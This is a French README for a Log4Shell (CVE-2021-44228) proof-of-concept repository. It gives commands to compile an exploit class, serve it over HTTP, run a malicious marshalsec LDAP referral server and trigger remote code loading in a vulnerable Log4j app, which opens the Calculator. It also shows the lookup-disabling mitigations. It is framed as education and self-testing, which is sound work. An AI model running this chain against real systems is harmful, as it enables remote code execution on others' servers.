
CVE-2021-44228 (Log4Shell) Preuve de concept

Les fonctionnalités JNDI d'Apache Log4j2 <=2.14.1 utilisées dans la configuration, les messages de journalisation et les paramètres ne protègent pas contre les points de terminaison LDAP contrôlés par un attaquant ni contre d'autres points de terminaison liés à JNDI. Un attaquant qui peut contrôler les messages de journalisation ou leurs paramètres peut exécuter du code arbitraire chargé depuis des serveurs LDAP lorsque la substitution de recherche de messages est activée.
Pour aider les clients à comprendre comment fonctionne cette faille, nous avons préparé ce dépôt avec une preuve de concept simple mais fonctionnelle.
Avoir installé localement :
Pour le moment, le code arbitraire lance l'application Calculatrice sur macOS ou Windows, donc seulement ces deux systèmes d'exploitation sont pris en charge par cette preuve de concept.
Toutes les informations et tout le code sont fournis uniquement à des fins éducatives et/ou pour tester vos propres systèmes contre cette vulnérabilité.
Cette preuve de concept ressemble à celle décrite dans l'image ci-dessous (crédits GovCERT.ch), à l'exception du serveur vulnérable qui est simplement une classe Java pour des raisons de simplicité. Il est important de comprendre que cette vulnérabilité peut être déclenchée de différentes manières ; ce qui est décrit ci-dessous n'en est qu'un exemple.

Clonez ce dépôt
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
Compilez l'exploit (avec JDK 11)
terminal1 $ javac Exploit.java
Exécutez un serveur HTTP pour servir l'exploit
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
Démarrez le serveur LDAPRefServer malveillant (merci à https://github.com/mbechler/marshalsec)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Lancez l'application buguée (contenant log4j 2.14.1)
terminal3 $ mvn package && mvn exec:exec
Si tout s'est bien passé, l'application Calculatrice (exécution de code arbitraire) devrait apparaître

LOG4J_FORMAT_MSG_NO_LOOKUPS sur trueterminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
Dans ce cas, la Calculatrice ne devrait plus apparaître
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
Dans ce cas, la Calculatrice ne devrait plus apparaître